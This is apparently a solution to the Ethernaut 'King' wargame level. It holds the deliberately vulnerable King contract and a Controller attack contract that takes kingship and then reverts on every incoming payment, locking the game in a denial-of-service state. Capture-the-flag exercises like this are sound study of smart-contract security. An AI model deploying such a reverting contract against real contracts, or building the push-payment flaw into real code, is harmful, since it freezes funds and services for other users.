Ethernaut - Level 9 - King https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5

contracts...Controller.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./King.sol";

contract Controller {
    King public target;

    constructor(address payable targetAddress) public payable {
        // 0x53AE1A698211016e92ece4102217DBdBDC325022
        target = King(targetAddress);
    }

    function clamKingship() external payable {
        (bool success, ) = payable(address(target)).call{value:msg.value}("");
        require(success, "External call failed");
    }

    function getKing() public view returns(address) {
        return target._king();
    }

    fallback() external payable {
        revert();
    }

    receive() external payable {
        require(false, "Nope!");
    }
}

contracts...King.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}